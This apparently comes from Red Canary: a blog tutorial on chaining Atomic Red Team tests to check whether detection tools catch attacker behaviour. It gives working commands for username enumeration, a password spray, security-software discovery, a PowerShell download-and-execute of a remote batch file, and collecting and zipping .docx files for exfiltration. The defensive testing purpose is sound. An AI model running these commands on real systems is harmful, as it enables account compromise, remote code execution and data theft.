Testing Detection and Prevention Tools With Atomic Red Team “Chain Reactions”

The very nature of Atomic Red Team is to allow for customization of different testing units to determine coverage, prevention, or detection within your environment. Chain reactions are a concept we developed to enable security teams to combine multiple MITRE ATT&CK™ techniques and execute them simultaneously. You can use these free-form methods to either build a sequence of events or generate event data. For simplicity, we’ve decided to standardize on using PowerShell and Bat files; this can easily change over time as Atomic Red Team matures.

This article will walk through how to build a chain reaction by utilizing multiple ATT&CK tactics and techniques, then show how to identify whether the solutions you have in place prevented and/or detected the behaviors. Whether or not the chain reaction follows proper TTPs, generating the simulation is key to identifying gaps across your detection and ATT&CK coverage.

Watch an on-demand training session to walk through building a chain reaction with Red Canary’s applied research team.

Generating the Chain Reaction

There is no scientific art to generating chain reactions. Ideas can come from anywhere, such as traversing the Windows Technique Matrix or reading recent threat briefs. A great example of a chain reaction provided by an intel brief is outlined in Catching the Dragon by the Tail. The article explains how to leverage observations on a particular actor and produce the test in a way that generates similar event data in your environment.

A simple cycle may be applied to this type of research:

The end goal is to either confirm coverage or create new coverage. Additionally, it allows for defenders to get creative in ways that will detect potentially noisy discovery techniques, or identify low and slow behavior.

Choosing Your Techniques

The tests in this chain reaction are based on behaviors commonly seen during a penetration test. A chain reaction can be noisy or quiet, depending on the use case. We intentionally structured this example to be noisy to ensure adequate testing of the security team and detection/prevention utilities.

For each test, we’ll run through:

• A breakdown of each technique
• How it was selected and built out into the chain reaction format of a batch file
• Telemetry from Carbon Black Response to identify these tactics and techniques

Without further ado…let the testing begin!

Test 1

• Tactic: Discovery
• Technique: System Owner/User Discovery

In this scenario, we are going to construct activity that involves actors retrieving valid accounts by performing either credential dumping or querying the endpoints for logon sessions using another technique. We’ll pick the noisiest instance for the purposes of this test.

We will use qwinsta.exe on Windows to:

• Query a single endpoint or more
• Output a list of usernames
• Attempt to perform a password spray

Let’s break this down…

Qwinsta.exe is used to query workstations and receive a list of valid sessions on any remote endpoints. Quser.exe is very similar.

You can either build this to query one endpoint or more. Here are examples for each…

Single endpoint:

for /F “tokens=1,2” %i in (‘qwinsta /server: ^| findstr “Active Disc”‘) do @echo %i | find /v “#” | find /v “console” || echo %j > usernames.txt

Multiple endpoints:

Place a list of computer names in computers.txt that you are authorized to query:

@FOR /F %n in (computers.txt) DO @FOR /F “tokens=1,2” %i in (‘qwinsta /server:%n ^| findstr “Active Disc”’) do @echo %i | find /v “#” | find /v “console” || echo %j > usernames.txt

Now that we have our list from endpoints in the environment, we can perform a password spray to generate a lot of authentication noise.

What it looks like in Carbon Black:

Test 2

• Tactics: Credential Access, Lateral Movement
• Techniques: Brute Force, Windows Admin Shares

In this test we will use credentials we have discovered and a password list to attempt to access internal systems.

@FOR /F %n in (usernames.txt) DO @FOR /F %p in (passwords.txt) DO @net use \\COMPANYDC1\IPC$ /user:COMPANY\%n %p 1>NUL 2>&1 && @echo [*] %n:%p && @net use /delete \\COMPANYDC1\IPC$ > NUL

For the passwords.txt file, use some standard items like:
Winter2017
Winter2018
Fall2018

We can either run the script as is or we can add a real domain controller (replace COMPANYDC1) and have many failed authentication attempts. We will review this later. Be careful not to lock out production accounts.

Running the two scripts will generate a lot of noise, which gives us a chance to review detection coverage.

What it looks like in Carbon Black:

Test 3

• Tactics: Discovery, Execution
• Techniques: Security Software Discovery, Batch Payload

Discovery can end up being your noisiest ally or your low and slow enumeration of system information. In our example, we will start with looking for any AV solutions on the endpoint, followed by execution of an additional batch file via PowerShell execution.

Security software discovery should be simple enough. We will use netsh.exe to query the firewall for any interesting items within the profiles. Additionally, we will run tasklist.exe to identify specific products.

netsh advfirewall firewall show rule name=all

tasklist.exe | findstr cb

tasklist.exe | findstr virus

tasklist.exe | findstr defender

For the discovery.bat file, we generate additional noise by using PowerShell to download a batch file and run it. In this instance, it’s quite easy to do:

powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/Windows/Payloads/Discovery.bat')"

This will download the discovery.bat from Atomic Red Team’s payload directory and execute it.

These two combined will keep anyone busy in confirming detection capabilities. A lot of noise will be generated on a single endpoint, but let’s not forget that the download passes a firewall or IDS/IPS.

What it looks like in Carbon Black:

Test 4

• Tactic: Collection
• Technique: Automated Collection

In this chain reaction, we want to copy a bunch of specific file types to another directory. We chose .docx files in this example. Maybe one will be that passwords.docx file? Others include proprietary documentation and insider knowledge. All in all, this is a great use case to work to identify suspicious collection of information in our environment.

for /R c: %f in (*.docx) do copy %f c:\temp\

What it looks like in Carbon Black:

Running from a batch file on the command prompt, Carbon Black doesn’t collect much here. However, we do see the files being moved to the c:\temp directory. By itself, this is not malicious, but it becomes interesting if it has a few thousand filemods. However, note that many processes perform a few hundred to thousands of filemods as normal activity. Try to narrow it down to specific processes .

filemod_count:[1 TO 1000] (process_name:cmd.exe OR process_name:powershell.exe)

Test 5

• Tactic: Exfiltration
• Technique: Data Compressed

Now that we’ve collected all the docx data from our single endpoint, we need to compress it and prime it for exfiltration.

cmd.exe /c powershell.exe Compress-Archive -Path C:\temp\* -CompressionLevel Optimal -DestinationPath C:\temp\allthedataz.zip

Easy enough, right? We also have alternate endings for this one in case you want to try another route:

rar a -r exfilthis.rar *.docx

It will require winrar, which most endpoints are running today.

What it looks like in Carbon Black:

Detonating the Final Chain Reaction

With all that, we have our final and simple “click to run” chain reaction that performs all these techniques in one place.

https://github.com/redcanaryco/atomic-red-team/blob/master/ARTifacts/Chain_Reactions/chain_reaction_Reactor.bat

Sometimes tests may not execute a certain technique correctly, which is fine. Outside of perfecting a chain reaction to run accordingly, the end goal is to see it generate events in your products. Post-detonation, you can begin confirming your coverage, tuning the chain reaction, and detonating again. This is also a great time to discuss the test results with your team. Did anyone notice the failed logon events? What alerts tripped within your product stack? You can confirm all those whiz bang features and see if any gaps remain.

Share Your Ideas for Chain Reactions

Collectively generating and sharing chain reactions can help to make us all better defenders. Large organizations have different response bandwidth compared to small organizations. Using chain reactions gives us all the ability to confirm coverage on the MITRE ATT&CK matrix. If you have ideas for chain reactions, please reach out to us at research@redcanary.com or submit a pull request with your Atomic Red Team Chain Reactions.

To see a detonation of the chain reaction we ran through in this article, watch an on-demand training session. You’ll learn how to customize sequences based on specific attack surfaces and threat risks, and hear popular use cases for each test.